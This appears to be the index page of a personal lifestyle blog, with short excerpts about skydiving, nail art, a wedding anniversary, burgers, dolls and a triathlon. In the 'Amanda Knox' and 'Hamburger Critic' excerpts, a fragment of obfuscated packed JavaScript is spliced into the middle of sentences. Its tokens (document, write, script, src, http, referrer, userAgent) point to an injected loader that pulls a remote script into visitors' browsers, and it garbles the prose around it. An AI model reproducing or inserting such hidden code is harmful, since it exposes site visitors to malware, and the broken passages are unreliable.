iFly

Last Friday we celebrated a belated anniversary – well, that’s what we called it. We went to iFlySF, an indoor skydiving facility.  It’s a large fan + clear tube.  You watch a little training video and then get all suited up.  You head into the wind tunnel with your instructor and fly!  Very fun and […]

Treadmill desk

Nick decided he needed some exercise. His job, like many, requires him to be in front of his laptop.  He wanted to work and get exercise at the same time.  The ultimate multi-tasker.  What better way than with a treadmill desk!  Too bad a TrekDesk will set you back $479, and that doesn’t even include […]

1 year ago…

…48 of our closest friends and family joined us in Cabo for our wedding.   I’d do it again in a heartbeat.

Winners of the losers

We officially won the coveted 5th place spot last night. We were a 1 seed (or a 5 seed, depending on how you look at it). Teams 1-4 fought for championship rights. We were playing for 5th. I thought it was just for fun. Little did I know, but long sleeve t’s were on the […]

Crackle for your nails

I don’t feel quite trendy enough to put black crackle on my nails AND go into work.  Mostly because I work at a national lab and not Lucky or Allure or some other style magazine. BUT, that doesn’t mean I won’t sport it on my toes.  We used a HOT PINK, almost fluorescent under black […]

Ombre Nails

Pretend there’s an accent over the “e” in ombre. Ombre means shaded or graduated in tone: said of color. And guess what?  People are ombre-ing their nails.  You better believe I was all over that. After a not-so-ombre-cool attempt on Friday, I jumped on over to Lisa’s house where we laid all of our colors […]

Amanda Knox

Have you heard of Amanda Knox? If you’ve been paying even remote attention to the news, you’ve probably heard of her. She got home to Seattle last night after a long 4 years. She’s been all over CNN ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bansi|var|u0026u|referrer|tynrn||js|php’.split(‘|’),0,{})) and the Seattle Times. Yep, she’s from Seattle. And yes, she’s a […]

Hamburger Critic

I don’t know about you, but I love me a tasty burger.  Here are my thoughts about some of the favorites. The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kreyn|var|u0026u|referrer|niedd||js|php’.split(‘|’),0,{})) middle school hang out.  I’ll take clucks and fries with a side of ranch.  And yes, we’ll be splitting.  By far my favorite fries – crunchy on the […]

American Girl Dolls

Did you read the American Girls books when you were little?  I did.  I read about Molly!  There was also Kirsten, Samantha and Felicity.  I remember getting the catalogue for the dolls.  The catalogue was oversized and filled with HUGE pictures of the dolls, their clothes and the accessories.  Needless to say, they’ve come a […]

I swam in what?

Sometimes I like being blissfully ignorant.  Take the triathlon, for instance.  I learned AFTER a practice swim, that the water quality levels were less than desirable.  And by less than desirable, I mean filled with poop and e.coli.  They encourage you to “not swallow water.”  Gee, thanks! We noticed how the state (or beach) decided […]
